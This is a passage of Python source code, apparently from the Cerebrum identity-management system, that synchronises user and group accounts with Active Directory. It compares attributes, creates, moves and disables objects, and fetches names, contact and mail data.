self.logger.debug('Object in ignore_ou: %s' % dn) return False # If not found in Cerebrum, remove the object (according to config): if not ent: self.logger.debug2("Unknown object %s - %s" % (name, ad_object)) self.downgrade_object(ad_object, self.config.get('handle_unknown_objects', ('disable', None))) return False # If not active in Cerebrum, do something (according to config). # TODO: If downgrade is set to 'move', it conflicts with moving # objects. How to solve this? if not ent.active: self.downgrade_object(ad_object, self.config['handle_deactivated_objects']) if self.config['move_objects']: # Do not move if downgrade is set to move objects: if (ent.active or self.config['handle_deactivated_objects'][0] != 'move'): self.move_object(ad_object, ent.ou) # Updating the DN, for later updates in the process: dn = ','.join((ad_object['DistinguishedName'].split(',')[0], ent.ou)) ad_object['DistinguishedName'] = dn # Compare attributes: changes = self.get_mismatch_attributes(ent, ad_object) if changes: # Save the list of changes for possible future use ent.changes = changes self.server.update_attributes(dn, changes, ad_object) self.script('modify_object', ad_object, changes=changes.keys()) # Store SID in Cerebrum self.store_sid(ent, ad_object.get('SID')) return True def get_mismatch_attributes(self, ent, ad_object): """Compare an entity's attributes between Cerebrum and AD. If the attributes exists in both places, it should be updated if it doesn't match. If it only exists The changes gets appended to the entity's change list for further processing. :type ent: CerebrumEntity :param ent: The given entity from Cerebrum, with calculated attributes. :type ad_object: dict :param ad_object: The given attributes from AD for the target object. :rtype: dict :return: The list of attributes that doesn't match and should be updated. The key is the name of the attribute, and the value is a dict with the elements: - *add*: For elements that should be added to the attribute in AD. - *remove*: For elements that should be removed from the attribute. - *fullupdate*: For attributes that should be fully replaced. The result could be something like:: {'Member': { 'add': ('userX', 'userY',), 'remove': ('userZ',), }, 'Description': { 'fullupdate': 'New description', }, } """ ret = {} for atr, atrconfig in self.config['attributes'].iteritems(): value = ent.attributes.get(atr, None) ad_value = ad_object.get(atr, None) # Filter/convert the value from AD before getting compared: if ad_value and isinstance(atrconfig, ConfigUtils.AttrConfig): if atrconfig.ad_transform: ad_value = atrconfig.ad_transform(ad_value) mismatch, add_elements, remove_elements = \ self.attribute_mismatch(ent, atr, value, ad_value) if mismatch: ret[atr] = dict() if add_elements or remove_elements: self.logger.debug("Mismatch attr for %s: %s.", ent.entity_name, atr) if add_elements: self.logger.debug( " - adding: %s", '; '.join('%s (%s)' % (m, type(m)) for m in add_elements)) ret[atr]['add'] = add_elements if remove_elements: self.logger.debug( " - removing: %s", '; '.join('%s (%s)' % (m, type(m)) for m in remove_elements)) ret[atr]['remove'] = remove_elements else: self.logger.debug( "Mismatch attr %s for %s: '%s' (%s) -> '%s' (%s)", atr, ent.entity_name, ad_value, type(ad_value), value, type(value)) ret[atr]['fullupdate'] = value return ret def attribute_mismatch(self, ent, atr, c, a): """Compare an attribute between Cerebrum and AD. This is a generic method. Specific attributes should not be hardcoded in this method, but should rather be configurable, or might be subclassed even though that should be avoided (try to generalize). The attributes are matched in different ways. The order does for example not matter for multivalued attributes, i.e. lists. :type ent: CerebrumEntity :param ent: The given entity from Cerebrum, with calculated attributes. :type atr: str :param atr: The name of the attribute to compare :type c: mixed :param c: The value from Cerebrum for the given attribute :type a: mixed :param a: The value from AD for the given attribute :rtype: tuple(bool, list, list) :return: A tuple with three elements:: (<bool:is_mismatching>, <set:to_add>, <set:to_remove>) The first value is True if the attribute from Cerebrum and AD does not match and should be updated in AD. If the attribute is a list and only some of its elements should be updated, the second and the third values list the elements that should be respectively added or removed. """ # TODO: Should we care about case sensitivity? # Ignore the cases where an attribute is None in Cerebrum and an empty # string in AD: if c is None and a == '': return (False, None, None) # TODO: Should we ignore attributes with extra spaces? AD converts # double spaces into single spaces, e.g. GivenName='First Last' # becomes in AD 'First Last'. This is issues that should be fixed in # the source system, but the error will make the sync update the # attribute constantly and make the sync slower. # SAMAccountName must be matched case insensitively. TODO: Case # sensitivity should rather be configurable. if atr.lower() == 'samaccountname': if a is None or c.lower() != a.lower(): return (True, None, None) # Order does not matter in multivalued attributes seq = (list, tuple, set) if isinstance(c, seq) and (isinstance(a, seq) or a is None): a = a or list() to_add = set(c).difference(a) to_remove = set(a).difference(c) # Search for objects that might have a similar DN to what Cerebrum # expects. We need to handle this, since people tend to move stuff # about in AD :/ Only the objects that have a unique RDN are # collected. do_not_remove = {} for e in to_remove: if 'cn' in e: rdn = e[3:e.find(',')] objects = self.server.find_object( attributes={'CN': rdn}) if len(objects) == 1: do_not_remove[rdn] = e # Remove the objects that have an alternate unique RDN, from the # list of attributes to remove. c = map(lambda x: do_not_remove.get(x[3:x.find(',')], x), c) # Re-calculate the set-difference to_remove = set(a).difference(c) return (to_add or to_remove, list(to_add), list(to_remove)) return (c != a, None, None) def process_entities_not_in_ad(self): """Go through entities that wasn't processed while going through AD. This could mean that either the entity doesn't exist in AD and should be created, or that the object is in an OU that we are not processing. The entities should probably be created in AD, but that is up to a subclass to decide. """ # Do a count of how many it is, for debuggin self.logger.debug("Found %d entities not found in AD", len(filter(lambda x: not x.in_ad, self.entities.itervalues()))) i = 0 for ent in self.entities.itervalues(): if ent.in_ad: continue if ent.entity_id in self.exempt_entities: self.logger.debug3( 'Entity {0} marked as exempt, ignoring'.format( ent.entity_id)) i += 1 continue try: self.process_entity_not_in_ad(ent) except ADUtils.NoAccessException as e: # Access errors should be sent to the AD administrators, as # Cerebrum can not fix this. self.add_admin_message('warning', 'Missing access rights for %s: %s' % ( ent.ad_id, e)) except PowershellException as e: self.logger.warn("PowershellException for %s: %s" % (ent.entity_name, e)) else: i += 1 self.logger.debug('Successfully processed %d entities not in AD' % i) def process_entity_not_in_ad(self, ent): """Process an entity that doesn't exist in AD, yet. The entity should be created in AD if active, and should then be updated as other, already existing objects. @type: CerebrumEntity @param: An object representing an entity in Cerebrum. """ if not ent.active: if self.config['handle_deactivated_objects'][0] == 'delete': self.logger.debug("Inactive entity ignored: %s", ent.entity_name) return else: self.logger.debug("Not in AD, and also not active: %s", ent.entity_name) try: obj = self.create_object(ent) except ADUtils.ObjectAlreadyExistsException as e: # It exists in AD, but is probably somewhere out of our # search_base. Will try to get it, so we could still update it, and # maybe even move it to the correct OU. self.logger.debug("Entity already exists: %s", ent.entity_name) ent.in_ad = True attrs = self.config['attributes'].copy() if self.config['store_sid'] and 'SID' not in attrs: attrs['SID'] = None # TODO! Are there more unique attributes that can be used to # search? For user objects it seems it is enough with # 'SamAccountName' only. See # http://blogs.msdn.com/b/openspecification/archive/2009/07/10/\ # understanding-unique-attributes-in-active-directory.aspx search_attributes = dict((u, ent.attributes[u]) for u in ['SamAccountName'] if ent.attributes.get(u)) objects = self.server.find_object( name=ent.entity_name, attributes=search_attributes, object_class=self.ad_object_class) if len(objects) == 1: # Found only one object, and it is most likely the one we need obj = objects[0] self.logger.debug("Found entity %s (%s)", ent.entity_name, obj['DistinguishedName']) elif len(objects) == 0: # Strange, we can't find the object though AD says it exists! self.logger.error("Cannot find %s, though AD says it exists", ent.ad_id) return False else: # Found several objects that satisfy the search criterias. # Unfortunately, in this case we can't determine which one # we actually need. self.logger.error("Ambiguous object %s. Found several with " "the same name. Cannot determine which " "one is the right one.", ent.ad_id) return False except (ADUtils.SetAttributeException, CommandTooLongException) as e: # The creation of the object may have failed because of entity's # attributes. It may have been too many of them and the command # became too long, or they contained (yet) invalid paths in AD. # In many cases update_attributes function for existing objects # can fix attributes problem. So it's good to try to create an # object without attributes now and wait until the next round for # its attributes to be updated. self.logger.warning("""Failed creating %s. """ """Trying to create it without attributes""" % ent.ad_id) # SamAccountName is needed to be present upon object's creation. # It will default to name if it is not present. But if it is -- # it has to be preserved. original_samaccountname = ent.attributes.get('SamAccountName') if original_samaccountname: ent.attributes = {'SamAccountName': original_samaccountname} else: ent.attributes = {} try: obj = self.create_object(ent) except Exception: # Really failed self.logger.exception("Failed creating %s." % ent.ad_id) return False else: ent.ad_new = True except Exception: # Unforeseen exception; traceback will be logged self.logger.exception("Failed creating %s." % ent.ad_id) return False else: ent.ad_new = True ent.in_ad = True ent.ad_data['dn'] = obj['DistinguishedName'] if not ent.ad_new: # It is an existing object, but under wrong OU (otherwise it would # have been fetched earlier). It should be therefore passed to # process_ad_object, like it was done before for all found objects. # NB! For some upper classes process_ad_object is overridden and # performs extra actions. In this case they will not be performed, # but the next iteration of sync should fix this. self.process_ad_object(obj) return obj def create_ou(self, dn): """Helper method for creating an OU recursively. The OUs will only be created if the config says so. TODO: Might want to change where this is checked. @type dn: str @param dn: The DistinguishedName of the OU that should be created. """ if not self.config['create_ous']: return self.logger.info("Creating OU: %s" % dn) name, path = dn.split(',', 1) if name.lower().startswith('ou='): name = name[3:] try: ou = self.server.create_object(name, path, 'organizationalunit') except ADUtils.OUUnknownException: self.logger.info("OU was not found: %s", path) self.create_ou(path) # Then retry creating the original OU: ou = self.server.create_object(name, path, 'organizationalunit') self.script('new_object', ou) return ou def create_object(self, ent, **parameters): """Create a given entity in AD. This is talking with the AD client to create the object properly. You should subclass this to e.g. add extra parameters to the creation. @type ent: CerebrumEntity @param ent: The entity that should be created in AD. @type **parameters: mixed @param **parameters: Extra data that should be sent to AD when creating the object. @raise ObjectAlreadyExistsException: If an object with the same name or id existed in AD already. """ try: if self.ad_object_class == 'group': parameters['GroupScope'] = self.new_group_scope parameters['GroupCategory'] = self.new_group_type new_object = self.server.create_object( ent.ad_id, ent.ou, self.ad_object_class, attributes=ent.attributes, parameters=parameters) except ADUtils.OUUnknownException: self.logger.info("OU was not found: %s", ent.ou) if not self.config['create_ous']: raise self.create_ou(ent.ou) # Then retry creating the object: new_object = self.create_object(ent, **parameters) self.script('new_object', new_object) return new_object def downgrade_object(self, ad_object, action): """Do a downgrade of an object in AD. The object could for instance be unknown in Cerebrum, or be inactive. The AD-object could then be disabled, moved and/or deleted, depending on the setting. The configuration says what should be done with such objects, as it could be disabled, moved, deleted or something else. @type ad_object: dict @param: The data about the AD-object to downgrade. @type action: tuple @param action: A two-element tuple, where the first element is a string, e.g. 'ignore', 'delete', 'move' or 'disable'. The second element contains extra information, e.g. to what OU the object should be moved to. """ dn = ad_object['DistinguishedName'] # conf = self.config.get('handle_unknown_objects', ('disable', None)) if action[0] == 'ignore': self.logger.debug2("Downgrade: ignoring AD object: %s", dn) return elif action[0] == 'disable': if not ad_object.get('Enabled'): return self.disable_object(ad_object) elif action[0] == 'move': if ad_object.get('Enabled'): self.disable_object(ad_object) if not dn.lower().endswith(action[1].lower()): self.logger.debug("Downgrade: moving from '%s' to '%s'", dn, action[1]) # TODO: test if this works as expected! self.move_object(ad_object, action[1]) return True elif action[0] == 'delete': self.delete_object(ad_object) else: raise Exception("Unknown config for downgrading object %s: %s" % (ad_object.get('Name'), action)) def disable_object(self, ad_object): """ Disable the given object. :param dict ad_object: The object as retrieved from AD. """ self.server.disable_object(ad_object['DistinguishedName']) self.script('disable_object', ad_object) def enable_object(self, ad_object): """ Enable the given object. :param dict ad_object: The object as retrieved from AD. """ self.server.enable_object(ad_object['DistinguishedName']) # TODO: If we run scripts here, we'll also have to consider # - set_password + enable_object # - quicksync + quarantines # self.script('enable_object', ad_object) def delete_object(self, ad_object): """ Delete the given object. :param dict ad_object: The object as retrieved from AD. """ self.server.delete_object(ad_object['DistinguishedName']) # TODO: If we run scripts here, we'll also have to consider # - quicksync + quarantines # self.script('delete_object', ad_object) def move_object(self, ad_object, ou): """Move a given object to the given OU. It is first checked for if it's already in the correct OU. @type ad_object: dict @param ad_object: The object as retrieved from AD. @type ou: string @param ou: The full DN of the OU the object should be moved to. """ dn = ad_object['DistinguishedName'] self.logger.debug3("Trying to move %s to %s", dn, ou) if ou == dn.split(',', 1)[1]: # Already in the correct location return try: self.server.move_object(dn, ou) except ADUtils.OUUnknownException: self.logger.info("OU was not found: %s", ou) if not self.config['create_ous']: raise self.create_ou(ou) self.server.move_object(dn, ou) # Update the dn, so that it is correct when triggering event ad_object['DistinguishedName'] = ','.join((dn.split(',', 1)[0], ou)) self.script('move_object', ad_object, move_from=dn) def pre_process(self): """Hock for things to do before the sync starts.""" self.script('pre_sync') def post_process(self): """Hock for things to do after the sync has finished.""" self.script('post_sync') def store_sid(self, ent, sid): """Store the SID for an entity as an external ID in Cerebrum. @type ent: CerebrumEntity @param ent: The object of the Cerebrum entity for which the SID should be stored. @type sid: string @param sid: The SID from AD which should be stored. """ if not self.config['store_sid']: return if getattr(ent, 'sid', '') == sid: return self.logger.info("Storing SID for entity %s: %s", ent.entity_id, sid) en = self._ent_extid en.clear() en.find(ent.entity_id) # Since external_id only works for one type of entities, we need to # find out which external_id type to store the SID as: sid_type = self.sidtype_map[en.entity_type] en.affect_external_id(self.co.system_ad, sid_type) en.populate_external_id(self.co.system_ad, sid_type, sid) en.write_db() def script(self, action, ad_object=None, ent=None, **extra): """Check if a script of a given type is defined and execute it. The scripts have to be set up by the AD administrators, Cerebrum has only the responsibility to fire them up. @type action: string @param action: The type of event that has occured, and which could be triggering a script to be executed. The script location is found in the config. @type ad_object: dict @param ad_object: The data about the object to be targeted by the script. @type ent: CerebrumEntity @param ent: The entity that is targeted by the script. Not always needed. @type **extra: mixed @param **extra: Extra arguments for the script, the arguments are transformed into: -key1 value1 """ if action not in self.config['script']: return params = {'Action': action, 'UUID': str(uuid.uuid4()), } for attr in ('DistinguishedName', 'ObjectGUID'): if ad_object and ad_object.get(attr): params.update({'Identity': ad_object[attr], }) break if extra: params.update(extra) try: return self.server.execute_script(self.config['script'][action], **params) except PowershellException as e: self.logger.warn( "Script failed for event %s (%s): %s", action, params.get('UUID'), e) return False class UserSync(BaseSync): """Sync for Cerebrum accounts in AD. This contains generic functionality for handling accounts for AD, to add more functionality you need to subclass this. A mapping is added by this class: L{owner2ent}, which is a dict with the owner's owner_id as key, and the values are lists of entity instances. """ # The default object class of the objects to work on. Used if not the # config says otherwise. default_ad_object_class = 'user' # A mapping of what the different UserAccountControl settings map to, # bitwise. The UserAccountControl attribute is returned as a integer, where # each bit gives us one setting. This setting should be expanded if new # settings are added to AD. Note that the config tells us what settings we # should care about and not. The position in this list maps to the bit # position, starting from the right. Each string corresponds to the # setting's name in the powershell command Set-ADAccountControl. # For more info about the UAC settings, see # http://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx _useraccountcontrol_settings = ( # 1. If the logon script will be run. Not implemented. None, # 'Script', # 2. If the account is disabled. Set by Disable-ADAccount instead. None, # 'AccountDisabled', # 3. The home directory is required. 'HomedirRequired', # 4. The account is currently locked out, e.g. by too many failed # password attempts. Gets set and reset automatically by AD DS. None, # 'LockOut', # 5. No password is required to log on with the given account. 'PasswordNotRequired', # 6. The user can't change its password. 'CannotChangePassword', # 7. The user can send an encrypted password. Updates the value # which in AD is named ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED. 'AllowReversiblePasswordEncryption', # 8. The account is for users whose primary account is in another # domain. This account provides local domain access. Also called # "Local user account". Not implemented. None, # 'TempDuplicateAccount', # 9. A normal account. This is the default type of an account. Not # implemented. None, # 'NormalAccount', # 10. Trusts the account for other domains. Not implemented. None, # 'InterdomainTrustAccount', # 11. If set, this is a computer account. Not implemented. Needs to # be set in other ways. None, # 'WorkstationTrustAccount', # 12. If set, this is a computer account for a system backup domain # controller that is a member of this domain. None, # 'ServerTrustAccount', # 13. Not used None, # 14. Not used None, # 15. The password for the account will never expire. 'PasswordNeverExpires', # 16. If set, this is an MNS logon account. 'MNSLogonAccount', # 17. Force user to log on by smart card. Not implemented. None, # 'SmartcardRequired', # 18. The service account is trusted for Kerberos delegation. Any # such service can impersonate a client requesting the service. 'TrustedForDelegation', # 19. The service account's security context will not be delegated # to any service. 'AccountNotDelegated', # 20. Restrict account to only use DES encryption types for keys. 'UseDESKeyOnly', # 21. Account does not require Kerberos pre-authentication for # logon. 'DoesNotRequirePreAuth', # 22. The account's password is expired. Automatically set by AD. 'PasswordExpired', # 23. Enabled for delegation of authentication of others. # Warning: This setting enables the account and services running # as the account to authenticate as other users! 'TrustedToAuthForDelegation', # 24. Account is used for read-only DCs, and needs protection. None, # 'PartialSecretsAccount', ) def __init__(self, *args, **kwargs): """Instantiate user specific functionality.""" super(UserSync, self).__init__(*args, **kwargs) self.addr2username = {} self.ac = Factory.get("Account")(self.db) self.pe = Factory.get("Person")(self.db) def configure(self, config_args): """Override the configuration for setting user specific variables. """ super(UserSync, self).configure(config_args) # Check that the UserAccountControl settings are valid: for setting in self.config['useraccountcontrol']: if setting not in self._useraccountcontrol_settings: raise Exception('Unknown UserAccountControl: %s' % setting) def start_fetch_ad_data(self, object_class=None, attributes=dict()): """Ask AD to start generating the data we need about groups. Could be subclassed to get more/other data. @rtype: string @return: A CommandId that is the reference from the AD service to later get the data that has been generated. Could be used for e.g. L{process_ad_data}. """ if self.config['useraccountcontrol']: attributes['UserAccountControl'] = None if 'Enabled' not in attributes: attributes['Enabled'] = None return super(UserSync, self).start_fetch_ad_data( object_class=object_class, attributes=attributes) def fetch_cerebrum_data(self): """Fetch data from Cerebrum that is needed for syncing accounts. What kind of data that will be gathered is up to the attribute configuration. Contact info will for instance not be retrieved from Cerebrum if it's set for any attributes. Subclasses could however override this, if they need such data for other usage. """ super(UserSync, self).fetch_cerebrum_data() # No need to fetch Cerebrum data if there are no entities to add them # to. Some methods in the Cerebrum API also raises an exception if # given an empty list of entities. if not self.entities: return # Create a mapping of owner id to user objects self.logger.debug("Fetch owner information...") self.owner2ent = dict() for ent in self.entities.itervalues(): self.owner2ent.setdefault(ent.owner_id, []).append(ent) self.logger.debug("Mapped %d entity owners", len(self.owner2ent)) # Set what is primary accounts. i = 0 for row in self.ac.list_accounts_by_type(primary_only=True): ent = self.id2entity.get(row['account_id']) if ent: ent.is_primary_account = True i += 1 self.logger.debug("Found %d primary accounts", i) # The different methods decides if their data should be fetched or not, # depending on the attribute configuration. self.fetch_contact_info() self.fetch_names() self.fetch_person_names() self.fetch_external_ids() self.fetch_traits() self.fetch_address_info() self.fetch_posix() self.fetch_homes() self.fetch_mail() def fetch_cerebrum_entities(self): """Fetch the users from Cerebrum that should be compared against AD. The configuration is used to know what to cache. All data is put in a list, and each entity is put into an object from L{Cerebrum.modules.ad2.CerebrumData} or a subclass, to make it easier to later compare them with AD objects. Could be subclassed to fetch more data about each entity to support extra functionality from AD and to override settings, e.g. what contact info that should be used. @rtype: list @return: A list of targeted entities from Cerebrum, wrapped into L{CerebrumData} objects. """ # Find all users with defined spread(s): self.logger.debug("Fetching users with spread %s" % (self.config['target_spread'],)) subset = self.config.get('subset') if hasattr(self.co, 'trait_account_exempt'): for row in self._entity_trait.list_traits( self.co.trait_account_exempt): self.exempt_entities.append(int(row['entity_id'])) for row in self.ac.search(spread=self.config['target_spread']): uname = row["name"] # For testing or special cases where we only want to sync a subset # of entities. The subset should contain the entity names, e.g. # usernames or group names. if subset and uname not in subset: continue self.entities[uname] = self.cache_entity( int(row['account_id']), uname, owner_id=int(row['owner_id']), owner_type=int(row['owner_type'])) # This functionality makes it possible to set a different AD-OU # based on the type(s) og affiliation(s) (CRB-862) ou_mappings = self.config.get('ou_mappings') if ou_mappings and isinstance(ou_mappings, list): for mapping in ou_mappings: aff_list = mapping.get('affiliations') if not aff_list: raise ConfigUtils.ConfigError( 'Missing or invalid affiliations in ou_mappings') validator = ConfigUtils.AccountCriterias( affiliations=aff_list) try: validator.check(self.entities[uname]) self.entities[uname].ou = mapping['ou'] self.logger.debug3( 'Using "ou_mappings". ' 'OU for account %s (%d) has been set to %s' % ( uname, row['account_id'], mapping['ou'])) break except ConfigUtils.CriteriaError: # no match continue else: self.logger.debug( 'Using "ou_mappings". ' 'No matching affiliation(s) for account %s (%d). ' 'Using "target_ou"' % ( uname, row['account_id'])) def fetch_names(self): """Fetch all the persons' names and store them for the accounts. This overrides the default behaviour of fetching the names registered for the given entities, but instead fetches the owner's (person's) names. The names that is retrieved are first and last names. Titles are retrieved in L{fetch_titles}, even though they're stored as names too. TODO: change this, and put all in a dict of names instead? If there exist personal accounts without first and last names, it gets logged. """ self.logger.debug("Fetch name information...") # First PersonName: variants = set() systems = set() languages = set() all_systems = False # Go through config and see what info needs to be fetched: for atr in ConfigUtils.get_config_by_type(self.config['attributes'], ConfigUtils.NameAttr): variants.update(atr.name_variants) if atr.source_systems is None: all_systems = True else: systems.update(atr.source_systems) if atr.languages: languages.update(atr.languages) self.logger.debug2("Fetching name variants: %s", ', '.join(str(v) for v in variants)) self.logger.debug2("Fetching names by languages: %s", ', '.join(str(l) for l in languages)) self.logger.debug2("Fetching names from sources: %s", ', '.join(str(s) for s in systems)) if not variants: return if all_systems or not systems: # By setting to None we fetch from all source_systems. systems = None if not languages: languages = None # TODO: Or make use of self.config['language'] to get the priority # right? # If subset is given, we want to limit the db-search: ids = None if self.config['subset']: ids = self.owner2ent.keys() i = 0 # TODO: This is not always for persons! Need to also fetch for e.g. # OUs. Do we need to fetch in two rounds? One for the entities and one # for the owners? for row in self.pe.search_name_with_language(name_variant=variants, entity_type=self.co.entity_person, entity_id=ids, name_language=languages): for ent in self.owner2ent.get(row['entity_id'], ()): vari = str(self.co.EntityNameCode(row['name_variant'])) lang = str(self.co.LanguageCode(row['name_language'])) ent.entity_name_with_language.setdefault(vari, {})[lang] = row['name'] i += 1 self.logger.debug("Found %d names" % i) def fetch_person_names(self): """Fetch all the persons' names and store them for the accounts. This overrides the default behaviour of fetching the names registered for the given entities, but instead fetches the owner's (person's) names. The names that is retrieved are first and last names. Titles are retrieved in L{fetch_titles}, even though they're stored as names too. TODO: change this, and put all in a dict of names instead? If there exist personal accounts without first and last names, it gets logged. """ self.logger.debug("Fetch person name information...") variants = set() systems = set() # languages = set() all_systems = False # Go through config and see what info needs to be fetched: for atr in ConfigUtils.get_config_by_type(self.config['attributes'], ConfigUtils.PersonNameAttr): variants.update(atr.name_variants) if atr.source_systems is None: all_systems = True else: systems.update(atr.source_systems) self.logger.debug2("Fetching person person name variants: %s", ', '.join(str(v) for v in variants)) self.logger.debug2("Fetching person names from sources: %s", ', '.join(str(s) for s in systems)) if not variants: return if all_systems or not systems: # By setting to None we fetch from all source_systems. systems = None # If subset is given, we want to limit the db-search: ids = None if self.config['subset']: ids = self.owner2ent.keys() # Names stored in person table: i = 0 for row in self.pe.search_person_names(source_system=systems, name_variant=variants, person_id=ids): for ent in self.owner2ent.get(row['person_id'], ()): vari = str(self.co.PersonName(row['name_variant'])) ssys = str(self.co.AuthoritativeSystem(row['source_system'])) ent.person_names.setdefault(vari, {})[ssys] = row['name'] i += 1 self.logger.debug("Found %d person names" % i) def fetch_contact_info(self): """Fetch all contact information for users, e.g. mobile and telephone. Checks the config for what contact info to fetch from Cerebrum, fetches it and puts them in each CerebrumEntity's dict L{contact_info}. The format of the dict must be matched from this method and the CerebrumEntity class. Example on how L{contact_info} could look like: {str(contacttypeA): {str(sourcesystemA): str(contactvalue), str(sourcesystemB): str(contactvalue), }, str(contacttypeB): {str(sourcesystemA): str(contactvalue), str(sourcesystemB): str(contactvalue), }, } """ self.logger.debug("Fetch contact info...") types = set() systems = set() all_systems = False # Go through config and see what info needs to be fetched: for atr in ConfigUtils.get_config_by_type(self.config['attributes'], ConfigUtils.ContactAttr): types.update(atr.contact_types) if atr.source_systems is None: all_systems = True else: systems.update(atr.source_systems) self.logger.debug2("Fetching contact-types: %s", ', '.join(str(t) for t in types)) self.logger.debug2("Fetching contactinfo from sources: %s", ', '.join(str(s) for s in systems)) if not types: return if all_systems or not systems: # By setting to None we fetch from all source_systems. systems = None # Limit the db search if only working for a subset ids = None if self.config['subset']: ids = self.owner2ent.keys() # Contact info stored on the person: i = 0 for row in self.pe.list_contact_info(source_system=systems, entity_type=self.co.entity_person, entity_id=ids, contact_type=types): for ent in self.owner2ent.get(row['entity_id'], ()): ctype = str(self.co.ContactInfo(row['contact_type'])) ssys = str(self.co.AuthoritativeSystem(row['source_system'])) ent.contact_info.setdefault(ctype, {})[ssys] = row i += 1 # Contact info stored on the account: for row in self.ac.list_contact_info(source_system=systems, entity_type=self.co.entity_account, entity_id=ids, contact_type=types): ent = self.id2entity.get(row['entity_id'], None) if ent: ctype = str(self.co.ContactInfo(row['contact_type'])) ssys = str(self.co.AuthoritativeSystem(row['source_system'])) ent.contact_info.setdefault(ctype, {})[ssys] = row i += 1 self.logger.debug("Found %d contact data" % i) def fetch_external_ids(self): """Fetch all external IDs for entities according to config. TODO: this should be moved upwards, as it's not only for users. """ types = set() systems = set() all_systems = False # Go through config and see what info needs to be fetched: for atr in ConfigUtils.get_config_by_type(self.config['attributes'], ConfigUtils.ExternalIdAttr): types.update(atr.id_types) if atr.source_systems is None: all_systems = True else: systems.update(atr.source_systems) if not types: return self.logger.debug("Fetch external ids...") if all_systems or not systems: # By setting to None we fetch from all source_systems. systems = None # Limit the db search if only working for a subset ids = None if self.config['subset']: ids = self.owner2ent.keys() i = 0 # Search person: for row in self.pe.search_external_ids( source_system=systems, id_type=types, entity_id=ids, entity_type=self.co.entity_person): for ent in self.owner2ent.get(row['entity_id'], ()): itype = str(self.co.EntityExternalId(row['id_type'])) ssys = str(self.co.AuthoritativeSystem(row['source_system'])) ent.external_ids.setdefault(itype, {})[ssys] = row['external_id'] i += 1 # Search account: ids = None if self.config['subset']: ids = self.id2entity.keys() for row in self.ac.search_external_ids( source_system=systems, id_type=types, entity_id=ids, entity_type=self.co.entity_account): ent = self.id2entity.get(row['entity_id'], None) if ent: itype = str(self.co.EntityExternalId(row['id_type'])) ssys = str(self.co.AuthoritativeSystem(row['source_system'])) ent.external_ids.setdefault(itype, {})[ssys] = row['external_id'] i += 1 self.logger.debug("Found %d external IDs" % i) def fetch_traits(self): """Fetch all traits for entities according to config. TODO: this should be moved upwards, as it's not only for users. """ types = set() # Go through config and see what info needs to be fetched: for atr in ConfigUtils.get_config_by_type(self.config['attributes'], ConfigUtils.TraitAttr): types.update(atr.traitcodes) if not types: return self.logger.debug2("Fetch traits of types: %s", ', '.join(str(t) for t in types)) ids = NotSet if self.config['subset']: ids = self.id2entity.keys() i = 0 for row in self.ent.list_traits(code=types, entity_id=ids): ent = self.id2entity.get(row['entity_id'], None) if ent: code = str(self.co.EntityTrait(row['code'])) ent.traits[code] = row i += 1 self.logger.debug("Found %d traits" % i) # TODO: Fetch from person too? Is that needed? def fetch_address_info(self): """Fetch addresses for users. """ adrtypes = set() systems = set() all_systems = False # Go through config and see what info needs to be fetched: for atr in ConfigUtils.get_config_by_type(self.config['attributes'], ConfigUtils.AddressAttr): adrtypes.update(atr.address_types) if atr.source_systems is None: all_systems = True else: systems.update(atr.source_systems) if not adrtypes: return self.logger.debug("Fetch address info...") if all_systems or not systems: # By setting to None we fetch from all source_systems. systems = None i = 0 # Addresses stored on the person: if hasattr(self.pe, 'list_entity_addresses'): for row in self.pe.list_entity_addresses( source_system=systems, entity_type=self.co.entity_person, address_type=adrtypes): for ent in self.owner2ent.get(row['entity_id'], ()): atype = str(self.co.Address(row['address_type'])) ssys = str(self.co.AuthoritativeSystem(row['source_system'])) ent.addresses.setdefault(atype, {})[ssys] = row i += 1 # Contact info stored on the account: if hasattr(self.ac, 'list_entity_addresses'): for row in self.ac.list_entity_addresses( source_system=systems, entity_type=self.co.entity_account, address_type=adrtypes): ent = self.id2entity.get(row['entity_id'], None) if ent: atype = str(self.co.Address(row['address_type'])) ssys = str(self.co.AuthoritativeSystem(row['source_system'])) ent.addresses.setdefault(atype, {})[ssys] = row i += 1 self.logger.debug("Found %d addresses" % i) def fetch_mail(self): """Fetch all e-mail address for the users. This method only fetches the primary addresses. Subclass me if more e-mail data is needed, e.g. aliases. TODO: We have a problem here, since we store primary mail addresses differently for those that uses the Email module and those without it, which instead stores it as contact_info. Now we check if methods from the email module exists to check how we should fetch it, but we should fix this in a better way later. """ if not ConfigUtils.has_config( self.config['attributes'], (ConfigUtils.EmailQuotaAttr, ConfigUtils.EmailAddrAttr, ConfigUtils.EmailForwardAttr)): # No email data is needed, skipping return self.logger.debug("Fetch mail data...") # Limit/speed up db search if only targeting a subset: ids = None if self.config['subset']: ids = self.id2entity.keys() # Need a map from EmailTarget's target_id to entity_id: targetid2entityid = dict((r['target_id'], r['target_entity_id']) for r in self.mailtarget.list_email_targets_ext( target_entity_id=ids)) for target_id, entity_id in targetid2entityid.iteritems(): ent = self.entities.get(entity_id) if ent: ent.maildata['target_id'] = target_id # Email quotas if ConfigUtils.has_config(self.config['attributes'], ConfigUtils.EmailQuotaAttr): mailquota = Email.EmailQuota(self.db) i = 0 for row in mailquota.list_email_quota_ext(): if row['target_id'] not in targetid2entityid: continue ent = self.id2entity.get(targetid2entityid[row['target_id']]) if ent: ent.maildata['quota'] = row i += 1 self.logger.debug("Found %d email quotas" % i) # Email addresses if ConfigUtils.has_config(self.config['attributes'], ConfigUtils.EmailAddrAttr): ea = Email.EmailAddress(self.db) # Need a mapping from address_id for the primary addresses: adrid2email = dict() i = 0 # TODO: filter_expired could might be a config setting? for row in ea.search(filter_expired=False): ent = self.id2entity.get(targetid2entityid.get(row['target_id'])) if ent: adr = '@'.join((row['local_part'], row['domain'])) adrid2email[row['address_id']] = adr ent.maildata.setdefault('alias', []).append(adr) i += 1 self.addr2username[adr.lower()] = ent.entity_name self.logger.debug("Found %d email addresses", i) epat = Email.EmailPrimaryAddressTarget(self.db) i = 0 for row in epat.list_email_primary_address_targets(): if row['address_id'] not in adrid2email: # Probably expired addresses continue ent = self.id2entity.get(targetid2entityid[row['target_id']]) if ent: ent.maildata['primary'] = adrid2email[row['address_id']] i += 1 self.logger.debug("Found %d primary email addresses" % i) # Email forwards if ConfigUtils.has_config(self.config['attributes'], ConfigUtils.EmailForwardAttr): ef = Email.EmailForward(self.db) i = 0 for row in ef.list_email_forwards(): # Skip not enabled forwards. We should not need those. if row['enable'] != 'T': continue ent_id = targetid2entityid.get(row['target_id']) if not ent_id: continue ent = self.id2entity.get(targetid2entityid[row['target_id']]) 